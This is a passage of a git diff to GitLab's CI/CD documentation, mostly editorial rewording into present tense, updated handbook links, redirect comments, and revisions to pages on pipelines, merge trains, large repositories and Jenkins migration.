-sequence that suits your application and are in accordance with
-the tests you wish to perform. To visualize the process, imagine
-that all the scripts you add to the configuration file are the
-same as the commands you run on a terminal on your computer.
-
-After you've added your `.gitlab-ci.yml` configuration file to your
-repository, GitLab will detect it and run your scripts with the
-tool called [GitLab Runner](https://docs.gitlab.com/runner/), which
-works similarly to your terminal.
-
-The scripts are grouped into **jobs**, and together they compose
-a **pipeline**. A minimalist example of `.gitlab-ci.yml` file
-could contain:
-
-```yaml
-before_script:
- - apt-get install rubygems ruby-dev -y
-
-run-test:
- script:
- - ruby --version
-```
-
-The `before_script` attribute would install the dependencies
-for your app before running anything, and a **job** called
-`run-test` would print the Ruby version of the current system.
-Both of them compose a **pipeline** triggered at every push
-to any branch of the repository.
-
-GitLab CI/CD not only executes the jobs you've
-set but also shows you what's happening during execution, as you
-would see in your terminal:
-
-![job running](img/job_running.png)
-
-You create the strategy for your app and GitLab runs the pipeline
-for you according to what you've defined. Your pipeline status is also
-displayed by GitLab:
-
-![pipeline status](img/pipeline_status.png)
-
-At the end, if anything goes wrong, you can easily
-[roll back](../environments/index.md#retrying-and-rolling-back) all the changes:
-
-![rollback button](img/rollback.png)
-
### Basic CI/CD workflow
Consider the following example for how GitLab CI/CD fits in a
@@ -177,7 +116,7 @@ After you're happy with your implementation:
![GitLab workflow example](img/gitlab_workflow_example_11_9.png)
GitLab CI/CD is capable of doing a lot more, but this workflow
-exemplifies GitLab's ability to track the entire process,
+exemplifies the ability of GitLab to track the entire process,
without the need for an external tool to deliver your software.
And, most usefully, you can visualize all the steps through
the GitLab UI.
@@ -191,7 +130,7 @@ lifecycle, as shown in the illustration below.
![Deeper look into the basic CI/CD workflow](img/gitlab_workflow_example_extended_v12_3.png)
If you look at the image from the left to the right,
-you'll see some of the features available in GitLab
+you can see some of the features available in GitLab
according to each stage (Verify, Package, Release).
1. **Verify**:
@@ -202,18 +141,16 @@ according to each stage (Verify, Package, Release).
- Perform a series of tests, such as [Container Scanning](../../user/application_security/container_scanning/index.md) **(ULTIMATE)**, [Dependency Scanning](../../user/application_security/dependency_scanning/index.md) **(ULTIMATE)**, and [Unit tests](../unit_test_reports.md).
- Deploy your changes with [Review Apps](../review_apps/index.md) to preview the app changes on every branch.
1. **Package**:
- - Store Docker images with [Container Registry](../../user/packages/container_registry/index.md).
- - Store NPM packages with [NPM Registry](../../user/packages/npm_registry/index.md). **(PREMIUM)**
- - Store Maven artifacts with [Maven Repository](../../user/packages/maven_repository/index.md). **(PREMIUM)**
- - Store Conan packages with [Conan Repository](../../user/packages/conan_repository/index.md). **(PREMIUM)**
+ - Store Docker images with the [Container Registry](../../user/packages/container_registry/index.md).
+ - Store packages with the [Package Registry](../../user/packages/package_registry/index.md).
1. **Release**:
- Continuous Deployment, automatically deploying your app to production.
- Continuous Delivery, manually click to deploy your app to production.
- Deploy static websites with [GitLab Pages](../../user/project/pages/index.md).
- Ship features to only a portion of your pods and let a percentage of your user base to visit the temporarily deployed feature with [Canary Deployments](../../user/project/canary_deployments.md). **(PREMIUM)**
- - Deploy your features behind [Feature Flags](../../operations/feature_flags.md). **(PREMIUM)**
+ - Deploy your features behind [Feature Flags](../../operations/feature_flags.md).
- Add release notes to any Git tag with [GitLab Releases](../../user/project/releases/index.md).
- - View of the current health and status of each CI environment running on Kubernetes with [Deploy Boards](../../user/project/deploy_boards.md). **(PREMIUM)**
+ - View of the current health and status of each CI environment running on Kubernetes with [Deploy Boards](../../user/project/deploy_boards.md).
- Deploy your application to a production environment in a Kubernetes cluster with [Auto Deploy](../../topics/autodevops/stages.md#auto-deploy).
With GitLab CI/CD you can also:
@@ -228,23 +165,3 @@ To see all CI/CD features, navigate back to the [CI/CD index](../README.md).
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
Watch the video [GitLab CI Live Demo](https://youtu.be/l5705U8s_nQ?t=369) with a deeper overview of GitLab CI/CD.
-
-### Setting up GitLab CI/CD for the first time
-
-To get started with GitLab CI/CD, you need to familiarize yourself
-with the [`.gitlab-ci.yml`](../yaml/README.md) configuration file
-syntax and with its attributes.
-
-This document [introduces the concepts of GitLab CI/CD in the scope of GitLab Pages](../../user/project/pages/getting_started/pages_from_scratch.md), for deploying static websites.
-Although it's meant for users who want to write their own Pages
-script from scratch, it also serves as an introduction to the setup process for GitLab CI/CD.
-It covers the first general steps of writing a CI/CD configuration
-file, so we recommend you read through it to understand GitLab's CI/CD
-logic, and learn how to write your own script (or tweak an
-existing one) for any application.
-
-For a deep view of GitLab's CI/CD configuration options, check the
-[`.gitlab-ci.yml` full reference](../yaml/README.md).
-
-For help making your pipelines faster and more efficient, see the
-[pipeline efficiency documentation](../pipelines/pipeline_efficiency.md).
diff --git a/doc/ci/jenkins/index.md b/doc/ci/jenkins/index.md
index 34600dd6540..3f720ef959e 100644
--- a/doc/ci/jenkins/index.md
+++ b/doc/ci/jenkins/index.md
@@ -3,3 +3,6 @@ redirect_to: '../migration/jenkins.md'
---
This document was moved to [another location](../migration/jenkins.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/jobs/index.md b/doc/ci/jobs/index.md
index dc306ac7ecb..c985a5b00ef 100644
--- a/doc/ci/jobs/index.md
+++ b/doc/ci/jobs/index.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Jobs
diff --git a/doc/ci/junit_test_reports.md b/doc/ci/junit_test_reports.md
index 449f9bf5fcd..2ae17df0933 100644
--- a/doc/ci/junit_test_reports.md
+++ b/doc/ci/junit_test_reports.md
@@ -3,3 +3,6 @@ redirect_to: 'unit_test_reports.md'
---
This document was moved to [unit_test_reports](unit_test_reports.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/large_repositories/index.md b/doc/ci/large_repositories/index.md
index f25ef7c725a..35b4a2de8f8 100644
--- a/doc/ci/large_repositories/index.md
+++ b/doc/ci/large_repositories/index.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Runner
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -32,7 +32,7 @@ GitLab and GitLab Runner perform a [shallow clone](../pipelines/settings.md#git-
by default.
Ideally, you should always use `GIT_DEPTH` with a small number
-like 10. This will instruct GitLab Runner to perform shallow clones.
+like 10. This instructs GitLab Runner to perform shallow clones.
Shallow clones make Git request only the latest set of changes for a given branch,
up to desired number of commits as defined by the `GIT_DEPTH` variable.
@@ -152,7 +152,7 @@ concurrent = 4
This `config.toml`:
- Uses the `shell` executor,
-- Specifies a custom `/builds` directory where all clones will be stored.
+- Specifies a custom `/builds` directory where all clones are stored.
- Enables the ability to specify `GIT_CLONE_PATH`,
- Runs at most 4 jobs at once.
@@ -177,7 +177,7 @@ concurrent = 4
This `config.toml`:
- Uses the `docker` executor,
-- Specifies a custom `/builds` directory on disk where all clones will be stored.
+- Specifies a custom `/builds` directory on disk where all clones are stored.
We host mount the `/builds` directory to make it reusable between subsequent runs
and be allowed to override the cloning strategy.
- Doesn't enable the ability to specify `GIT_CLONE_PATH` as it is enabled by default.
@@ -187,7 +187,7 @@ This `config.toml`:
Once we have the executor configured, we need to fine tune our `.gitlab-ci.yml`.
-Our pipeline will be most performant if we use the following `.gitlab-ci.yml`:
+Our pipeline is most performant if we use the following `.gitlab-ci.yml`:
```yaml
variables:
@@ -205,8 +205,8 @@ The above configures a:
because we use the same clone path for all forks.
Why use `$CI_CONCURRENT_ID`? The main reason is to ensure that worktrees used are not conflicting
-between projects. The `$CI_CONCURRENT_ID` represents a unique identifier within the given executor,
-so as long as we use it to construct the path, it is guaranteed that this directory will not conflict
+between projects. The `$CI_CONCURRENT_ID` represents a unique identifier within the given executor.
+When we use it to construct the path, this directory does not conflict
with other concurrent jobs running.
### Store custom clone options in `config.toml`
@@ -220,7 +220,7 @@ In such cases, it might be desirable to keep the `.gitlab-ci.yml` clone path agn
a configuration of the runner.
We can extend our [`config.toml`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html)
-with the following specification that will be used by the runner if `.gitlab-ci.yml` will not override it:
+with the following specification that is used by the runner if `.gitlab-ci.yml` does not override it:
```toml
concurrent = 4
diff --git a/doc/ci/lint.md b/doc/ci/lint.md
index cef71a68d72..ec3c128f076 100644
--- a/doc/ci/lint.md
+++ b/doc/ci/lint.md
@@ -1,10 +1,11 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-
-# CI Lint
+<!-- markdownlint-disable MD044 -->
+# Validate .gitlab-ci.yml syntax with the CI Lint tool
+<!-- markdownlint-enable MD044 -->
If you want to test the validity of your GitLab CI/CD configuration before committing
the changes, you can use the CI Lint tool. This tool checks for syntax and logical
diff --git a/doc/ci/merge_request_pipelines/index.md b/doc/ci/merge_request_pipelines/index.md
index ac9cda4e46c..220032eeab1 100644
--- a/doc/ci/merge_request_pipelines/index.md
+++ b/doc/ci/merge_request_pipelines/index.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, index
last_update: 2019-07-03
---
@@ -57,7 +57,7 @@ When you use this method, you have to specify `only: - merge_requests` for each
example, the pipeline contains a `test` job that is configured to run on merge requests.
The `build` and `deploy` jobs don't have the `only: - merge_requests` keyword,
-so they will not run on merge requests.
+so they don't run on merge requests.
```yaml
build:
@@ -82,7 +82,7 @@ deploy:
#### Excluding certain jobs
The behavior of the `only: [merge_requests]` keyword is such that _only_ jobs with
-that keyword are run in the context of a merge request; no other jobs will be run.
+that keyword are run in the context of a merge request; no other jobs run.
However, you can invert this behavior and have all of your jobs run _except_
for one or two.
@@ -120,8 +120,8 @@ C:
Therefore:
-- Since `A` and `B` are getting the `only:` rule to execute in all cases, they will always run.
-- Since `C` specifies that it should only run for merge requests, it will not run for any pipeline
+- Since `A` and `B` are getting the `only:` rule to execute in all cases, they always run.
+- Since `C` specifies that it should only run for merge requests, it doesn't run for any pipeline
except a merge request pipeline.
This helps you avoid having to add the `only:` rule to all of your jobs to make
@@ -188,7 +188,7 @@ can create pipelines in the parent project for merge requests
from a forked project. In the merge request, go to the **Pipelines** and click
**Run Pipeline** button.
-CAUTION: **Caution:**
+WARNING:
Fork merge requests could contain malicious code that tries to steal secrets in the
parent project when the pipeline runs, even before merge. Reviewers must carefully
check the changes in the merge request before triggering the pipeline. GitLab shows
@@ -209,7 +209,7 @@ The variable names begin with the `CI_MERGE_REQUEST_` prefix.
If you are experiencing duplicated pipelines when using `rules`, take a look at
the [important differences between `rules` and `only`/`except`](../yaml/README.md#prevent-duplicate-pipelines),
-which will help you get your starting configuration correct.
+which helps you get your starting configuration correct.
If you are seeing two pipelines when using `only/except`, please see the caveats
related to using `only/except` above (or, consider moving to `rules`).
diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/img/merged_result_pipeline.png b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/img/merged_result_pipeline.png
new file mode 100644
index 00000000000..2584cd4d38d
--- /dev/null
+++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/img/merged_result_pipeline.png
Binary files differ
diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md
index 9c6fbba1337..1b9bade3b76 100644
--- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md
+++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
last_update: 2019-07-03
---
@@ -15,12 +15,14 @@ source branch into a target branch. By default, the CI pipeline runs jobs
against the source branch.
With *pipelines for merged results*, the pipeline runs as if the changes from
-the source branch have already been merged into the target branch.
+the source branch have already been merged into the target branch. The commit shown for the pipeline does not exist on the source or target branches but represents the combined target and source branches.
+
+![Merge request widget for merged results pipeline](img/merged_result_pipeline.png)
If the pipeline fails due to a problem in the target branch, you can wait until the
target is fixed and re-run the pipeline.
-This new pipeline will run as if the source is merged with the updated target, and you
-will not need to rebase.
+This new pipeline runs as if the source is merged with the updated target, and you
+don't need to rebase.
The pipeline does not automatically run when the target branch changes. Only changes
to the source branch trigger a new pipeline. If a long time has passed since the last successful
@@ -33,7 +35,7 @@ When the merge request can't be merged, the pipeline runs against the source bra
- The merge request is a [**Draft** merge request](../../../user/project/merge_requests/work_in_progress_merge_requests.md).
In these cases, the pipeline runs as a [pipeline for merge requests](../index.md)
-and is labeled as `detached`. If these cases no longer exist, new pipelines will
+and is labeled as `detached`. If these cases no longer exist, new pipelines
again run against the merged results.
Any user who has developer [permissions](../../../user/permissions.md) can run a
@@ -59,7 +61,7 @@ To enable pipelines for merged results for your project:
1. Check **Enable merged results pipelines.**.
1. Click **Save changes**.
-CAUTION: **Caution:**
+WARNING:
If you select the check box but don't configure your CI/CD to use
pipelines for merge requests, your merge requests may become stuck in an
unresolved state or your pipelines may be dropped.
@@ -71,7 +73,7 @@ GitLab [automatically displays](merge_trains/index.md#add-a-merge-request-to-a-m
a **Start/Add Merge Train button**.
Generally, this is a safer option than merging merge requests immediately, because your
-merge request will be evaluated with an expected post-merge result before the actual
+merge request is evaluated with an expected post-merge result before the actual
merge happens.
For more information, read the [documentation on Merge Trains](merge_trains/index.md).
@@ -84,10 +86,10 @@ GitLab CI/CD can detect the presence of redundant pipelines, and cancels them
to conserve CI resources.
When a user merges a merge request immediately within an ongoing merge
-train, the train will be reconstructed, as it will recreate the expected
+train, the train is reconstructed, because it recreates the expected
post-merge commit and pipeline. In this case, the merge train may already
have pipelines running against the previous expected post-merge commit.
-These pipelines are considered redundant and will be automatically
+These pipelines are considered redundant and are automatically
canceled.
## Troubleshooting
diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md
index d4099cdeafd..0b25b32b2a5 100644
--- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md
+++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
last_update: 2019-07-03
---
@@ -39,7 +39,7 @@ To add a merge request to a merge train, you need [permissions](../../../../user
Each merge train can run a maximum of **twenty** pipelines in parallel.
If more than twenty merge requests are added to the merge train, the merge requests
-will be queued until a slot in the merge train is free. There is no limit to the
+are queued until a slot in the merge train is free. There is no limit to the
number of merge requests that can be queued.
## Merge train example
@@ -55,7 +55,7 @@ If the pipeline for `B` fails, it is removed from the train. The pipeline for
`C` restarts with the `A` and `C` changes, but without the `B` changes.
If `A` then completes successfully, it merges into the target branch, and `C` continues
-to run. If more merge requests are added to the train, they will now include the `A`
+to run. If more merge requests are added to the train, they now include the `A`
changes that are included in the target branch, and the `C` changes that are from
the merge request already in the train.
@@ -90,7 +90,7 @@ To enable merge trains for your project:
In GitLab 13.5 and earlier, there is only one checkbox, named
**Enable merge trains and pipelines for merged results**.
-CAUTION: **Caution:**
+WARNING:
If you select the check box but don't configure your CI/CD to use
pipelines for merge requests, your merge requests may become stuck in an
unresolved state or your pipelines may be dropped.
@@ -143,7 +143,7 @@ This is the fastest option to get the change merged into the target branch.
![Merge Immediately](img/merge_train_immediate_merge_v12_6.png)
-CAUTION: **Caution:**
+WARNING:
Each time you merge a merge request immediately, the current merge train
is recreated and all pipelines restart.
@@ -152,7 +152,7 @@ is recreated and all pipelines restart.
### Merge request dropped from the merge train immediately
If a merge request is not mergeable (for example, it's a draft merge request, there is a merge
-conflict, etc.), your merge request will be dropped from the merge train automatically.
+conflict, etc.), your merge request is dropped from the merge train automatically.
In these cases, the reason for dropping the merge request is in the **system notes**.
@@ -179,7 +179,7 @@ for more information.
A Merge Train pipeline cannot be retried because the merge request is dropped from the merge train upon failure. For this reason, the retry button does not appear next to the pipeline icon.
-In the case of pipeline failure, you should [re-enqueue](#add-a-merge-request-to-a-merge-train) the merge request to the merge train, which will then initiate a new pipeline.
+In the case of pipeline failure, you should [re-enqueue](#add-a-merge-request-to-a-merge-train) the merge request to the merge train, which then initiates a new pipeline.
### Unable to add to merge train with message "The pipeline for this merge request failed."
@@ -195,9 +195,10 @@ you can clear the **Pipelines must succeed** check box and keep
**Enable merge trains and pipelines for merged results** (merge trains) enabled.
If you want to keep the **Pipelines must succeed** option enabled along with Merge
-Trains, you can create a new pipeline for merged results when this error occurs by
-going to the **Pipelines** tab and clicking **Run pipeline**. Then click
-**Start/Add to merge train when pipeline succeeds**.
+Trains, create a new pipeline for merged results when this error occurs:
+
+1. Go to the **Pipelines** tab and click **Run pipeline**.
+1. Click **Start/Add to merge train when pipeline succeeds**.
See [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35135)
for more information.
diff --git a/doc/ci/metrics_reports.md b/doc/ci/metrics_reports.md
index dbc0397bb0b..3966e5e3e89 100644
--- a/doc/ci/metrics_reports.md
+++ b/doc/ci/metrics_reports.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Testing
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -11,7 +11,7 @@ type: reference
GitLab provides a lot of great reporting tools for [merge requests](../user/project/merge_requests/index.md) - [Unit test reports](unit_test_reports.md), [code quality](../user/project/merge_requests/code_quality.md), performance tests, etc. While JUnit is a great open framework for tests that "pass" or "fail", it is also important to see other types of metrics from a given change.
-You can configure your job to use custom Metrics Reports, and GitLab will display a report on the merge request so that it's easier and faster to identify changes without having to check the entire log.
+You can configure your job to use custom Metrics Reports, and GitLab displays a report on the merge request so that it's easier and faster to identify changes without having to check the entire log.
![Metrics Reports](img/metrics_reports_v13_0.png)
diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md
index 13190c15cca..5d217466f5c 100644
--- a/doc/ci/migration/circleci.md
+++ b/doc/ci/migration/circleci.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
type: index, howto
---
@@ -200,7 +200,7 @@ deploy_prod:
### Filter job by branch
-[Rules](../yaml/README.md#rules) are a mechanism to determine if the job will or will not run for a specific branch.
+[Rules](../yaml/README.md#rules) are a mechanism to determine if the job runs for a specific branch.
CircleCI example of a job filtered by branch:
diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md
index afec94ca91c..71d5e6eb859 100644
--- a/doc/ci/migration/jenkins.md
+++ b/doc/ci/migration/jenkins.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
type: index, howto
---
@@ -33,7 +33,7 @@ For an example of how to convert a Jenkins pipeline into a GitLab CI/CD pipeline
or how to use Auto DevOps to test your code automatically, watch the
[Migrating from Jenkins to GitLab](https://www.youtube.com/watch?v=RlEVGOpYF5Y) video.
-Otherwise, read on for important information that will help you get the ball rolling. Welcome
+Otherwise, read on for important information that helps you get the ball rolling. Welcome
to GitLab!
If you have questions that are not answered here, the [GitLab community forum](https://forum.gitlab.com/)
@@ -46,22 +46,22 @@ changes that comes with the move, and successfully managing them. There are a fe
things we have found that helps this:
- Setting and communicating a clear vision of what your migration goals are helps
- your users understand why the effort is worth it. The value will be clear when
+ your users understand why the effort is worth it. The value is clear when
the work is done, but people need to be aware while it's in progress too.
- Sponsorship and alignment from the relevant leadership team helps with the point above.
- Spending time educating your users on what's different, sharing this document with them,
- and so on will help ensure you are successful.
+ and so on helps ensure you are successful.
- Finding ways to sequence or delay parts of the migration can help a lot, but you
don't want to leave things in a non-migrated (or partially-migrated) state for too
long. To gain all the benefits of GitLab, moving your existing Jenkins setup over
- as-is, including any current problems, will not be enough. You need to take advantage
+ as-is, including any current problems, isn't enough. You need to take advantage
of the improvements that GitLab offers, and this requires (eventually) updating
your implementation as part of the transition.
## JenkinsFile Wrapper
-We are building a [JenkinsFile Wrapper](https://gitlab.com/gitlab-org/jfr-container-builder/) which will allow
-you to run a complete Jenkins instance inside of a GitLab job, including plugins. This can help ease the process
+We are building a [JenkinsFile Wrapper](https://gitlab.com/gitlab-org/jfr-container-builder/) which
+you can use to run a complete Jenkins instance inside of a GitLab job, including plugins. This can help ease the process
of transition, by letting you delay the migration of less urgent pipelines for a period of time.
If you are interested in helping GitLab test the wrapper, join our [public testing issue](https://gitlab.com/gitlab-org/gitlab/-/issues/215675) for instructions and to provide your feedback.
@@ -103,8 +103,8 @@ There are some high level differences between the products worth mentioning:
- One important difference is that jobs run independently of each other and have a
fresh environment in each job. Passing artifacts between jobs is controlled using the
[`artifacts`](../yaml/README.md#artifacts) and [`dependencies`](../yaml/README.md#dependencies)
- keywords. When finished, the planned [Workspaces](https://gitlab.com/gitlab-org/gitlab/-/issues/29265)
- feature will allow you to more easily persist a common workspace between serial jobs.
+ keywords. When finished, use the planned [Workspaces](https://gitlab.com/gitlab-org/gitlab/-/issues/29265)
+ feature to more easily persist a common workspace between serial jobs.
- The `.gitlab-ci.yml` file is checked in to the root of your repository, much like a Jenkinsfile, but
is in the YAML format (see [complete reference](../yaml/README.md)) instead of a Groovy DSL. It's most
analogous to the declarative Jenkinsfile format.
@@ -114,7 +114,7 @@ There are some high level differences between the products worth mentioning:
- GitLab comes with a [container registry](../../user/packages/container_registry/index.md), and we recommend using
container images to set up your build environment. For example, set up one pipeline that builds your build environment
itself and publish that to the container registry. Then, have your pipelines use this instead of each building their
- own environment, which will be slower and may be less consistent. We have extensive docs on [how to use the Container Registry](../../user/packages/container_registry/index.md).
+ own environment, which is slower and may be less consistent. We have extensive docs on [how to use the Container Registry](../../user/packages/container_registry/index.md).
- A central utilities repository can be a great place to put assorted scheduled jobs
or other manual jobs that function like utilities. Jenkins installations tend to
have a few of these.
@@ -129,12 +129,12 @@ agents you were using.
There are some important differences in the way runners work in comparison to agents:
- Runners can be set up as [shared across an instance, be added at the group level, or set up at the project level](../runners/README.md#types-of-runners).
- They will self-select jobs from the scopes you've defined automatically.
+ They self-select jobs from the scopes you've defined automatically.
- You can also [use tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) for finer control, and
associate runners with specific jobs. For example, you can use a tag for jobs that
require dedicated, more powerful, or specific hardware.
-- GitLab has [autoscaling for runners](https://docs.gitlab.com/runner/configuration/autoscale.html)
- which will let you configure them to be provisioned as needed, and scaled down when not.
+- GitLab has [autoscaling for runners](https://docs.gitlab.com/runner/configuration/autoscale.html).
+ Use autoscaling to provision runners only when needed, and scale down when not needed.
This is similar to ephemeral agents in Jenkins.
If you are using `gitlab.com`, you can take advantage of our [shared runner fleet](../../user/gitlab_com/index.md#shared-runners)
@@ -189,8 +189,8 @@ pdf:
```
Additionally, we have package management features like a built-in container, NPM, and Maven registry that you
-can leverage. You can see the complete list of packaging features (which includes links to documentation)
-in the [Packaging section of our documentation](../../README.md#package).
+can leverage. You can see the complete list of packaging features in the
+[Packages & Registries](../../user/packages/index.md) documentation.
## Integrated features
@@ -227,15 +227,15 @@ and is meant to be a mapping of concepts there to concepts in GitLab.
#### `agent`
-The agent section is used to define how a pipeline will be executed. For GitLab, we use [runners](../runners/README.md)
+The agent section is used to define how a pipeline executes. For GitLab, we use [runners](../runners/README.md)
to provide this capability. You can configure your own runners in Kubernetes or on any host, or take advantage
-of our shared runner fleet (note that the shared runner fleet is only available for GitLab.com users.) The link above will bring you to the documentation which will describe how to get
-up and running quickly. We also support using [tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs
+of our shared runner fleet (note that the shared runner fleet is only available for GitLab.com users).
+We also support using [tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs
to different runners (execution agents).
The `agent` section also allows you to define which Docker images should be used for execution, for which we use
the [`image`](../yaml/README.md#image) keyword. The `image` can be set on a single job or at the top level, in which
-case it will apply to all jobs in the pipeline:
+case it applies to all jobs in the pipeline:
```yaml
my_job:
@@ -246,7 +246,7 @@ my_job:
The `post` section defines the actions that should be performed at the end of the pipeline. GitLab also supports
this through the use of stages. You can define your stages as follows, and any jobs assigned to the `before_pipeline`
-or `after_pipeline` stages will run as expected. You can call these stages anything you like:
+or `after_pipeline` stages run as expected. You can call these stages anything you like:
```yaml
stages:
diff --git a/doc/ci/multi_project_pipeline_graphs.md b/doc/ci/multi_project_pipeline_graphs.md
index af10e5b6126..66efa0a7c35 100644
--- a/doc/ci/multi_project_pipeline_graphs.md
+++ b/doc/ci/multi_project_pipeline_graphs.md
@@ -3,3 +3,6 @@ redirect_to: 'multi_project_pipelines.md'
---
This document was moved to [another location](multi_project_pipelines.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/multi_project_pipelines.md b/doc/ci/multi_project_pipelines.md
index 5837bf6cf6b..1df196182c0 100644
--- a/doc/ci/multi_project_pipelines.md
+++ b/doc/ci/multi_project_pipelines.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -19,9 +19,10 @@ but also across projects with multi-project pipelines.
Multi-project pipelines are useful for larger products that require cross-project inter-dependencies, such as those
adopting a [microservices architecture](https://about.gitlab.com/blog/2016/08/16/trends-in-version-control-land-microservices/).
-For a demonstration of how cross-functional development teams can use cross-pipeline
-triggering to trigger multiple pipelines for different microservices projects, see
-[Cross-project Pipeline Triggering and Visualization](https://about.gitlab.com/handbook/marketing/product-marketing/demo/#cross-project-pipeline-triggering-and-visualization-may-2019---1110).
+Cross-functional development teams can use cross-pipeline
+triggering to trigger multiple pipelines for different microservices projects. Learn more
+in the [Cross-project Pipeline Triggering and Visualization demo](https://about.gitlab.com/learn/)
+at GitLab@learn, in the Continuous Integration (CI) section.
Additionally, it's possible to visualize the entire pipeline, including all cross-project
inter-dependencies. **(PREMIUM)**
@@ -46,7 +47,7 @@ When you configure GitLab CI/CD for your project, you can visualize the stages o
![Multi-project pipeline graph](img/multi_project_pipeline_graph.png)
In the Merge Request Widget, multi-project pipeline mini-graphs are displayed,
-and when hovering or tapping (on touchscreen devices) they will expand and be shown adjacent to each other.
+and when hovering or tapping (on touchscreen devices) they expand and are shown adjacent to each other.
![Multi-project mini graph](img/multi_pipeline_mini_graph.gif)
@@ -97,16 +98,16 @@ staging:
trigger: my/deployment
```
-In the example above, as soon as `rspec` job succeeds in the `test` stage,
-the `staging` bridge job is going to be started. The initial status of this
-job will be `pending`. GitLab will create a downstream pipeline in the
-`my/deployment` project and, as soon as the pipeline gets created, the
-`staging` job will succeed. `my/deployment` is a full path to that project.
+In the example above, as soon as the `rspec` job succeeds in the `test` stage,
+the `staging` bridge job is started. The initial status of this
+job is `pending`. GitLab then creates a downstream pipeline in the
+`my/deployment` project and, as soon as the pipeline is created, the
+`staging` job succeeds. `my/deployment` is a full path to that project.
The user that created the upstream pipeline needs to have access rights to the
-downstream project (`my/deployment` in this case). If a downstream project can
-not be found, or a user does not have access rights to create pipeline there,
-the `staging` job is going to be marked as _failed_.
+downstream project (`my/deployment` in this case). If a downstream project is
+not found, or a user does not have access rights to create a pipeline there,
+the `staging` job is marked as _failed_.
When using:
@@ -117,21 +118,18 @@ When using:
- [`only/except`](yaml/README.md#onlyexcept-basic) to control job behavior, use the
